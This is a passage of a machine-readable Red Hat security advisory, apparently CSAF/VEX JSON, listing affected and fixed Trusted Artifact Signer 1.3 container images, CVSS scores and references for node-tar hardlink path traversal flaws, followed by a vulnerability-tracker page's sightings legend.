"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check"
},
{
"cve": "CVE-2026-26960",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-02-20T02:01:07.883769+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2441253"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar. An attacker can craft a malicious archive that, when extracted with default options, creates a hardlink outside the intended extraction directory. This vulnerability allows the attacker to perform arbitrary file read and write operations as the user extracting the archive, bypassing existing path protections. This can lead to unauthorized access and modification of sensitive system files.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: node-tar: Arbitrary file read/write via malicious archive hardlink creation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "In Red Hat environments, this condition introduces a significant constraint, as exploitation requires user interaction and reliance on unsafe handling of externally supplied archives. The attack is not remotely exploitable in isolation and depends on a user or service processing attacker-controlled input.\n\nFurthermore, the impact of the vulnerability is limited to the privileges of the extracting process. In typical Red Hat deployments, archive extraction is performed by non-privileged users or within confined environments such as containers or restricted service contexts, which limits the scope of potential damage.\n\nRed Hat analysis also notes that this issue does not provide a direct mechanism for code execution or privilege escalation, but rather enables file system manipulation within the boundaries of the executing user\u2019s permissions.\n\nGiven the requirement for user-assisted exploitation, the absence of a direct remote attack vector, and the confinement of impact to the privileges of the extracting process, Red Hat considers the practical risk to be lower than the generalized NVD assessment. As a result, this vulnerability is classified as Moderate severity.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64"
],
"known_not_affected": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-26960"
},
{
"category": "external",
"summary": "RHBZ#2441253",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2441253"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-26960",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26960"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384",
"url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f",
"url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx"
}
],
"release_date": "2026-02-20T01:07:52.979000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-03-23T16:03:55+00:00",
"details": "Red Hat Trusted Artifact Signer simplifies cryptographic signing and verifying of software artifacts such as container images, binaries and source code changes. It is a self-managed on-premise deployment of the Sigstore project available at https://sigstore.dev\n\nPlatform Engineers, Software Developers and Security Professionals may use RHTAS to ensure the integrity, transparency and assurance of their organization\u0027s software supply chain.\n\nFor details on using the operator, refer to the product documentation at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3\n\nYou can find the release notes for this version of Red Hat Trusted Artifact Signer at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3/html-single/release_notes/index",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:5447"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "node-tar: node-tar: Arbitrary file read/write via malicious archive hardlink creation"
}
]
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…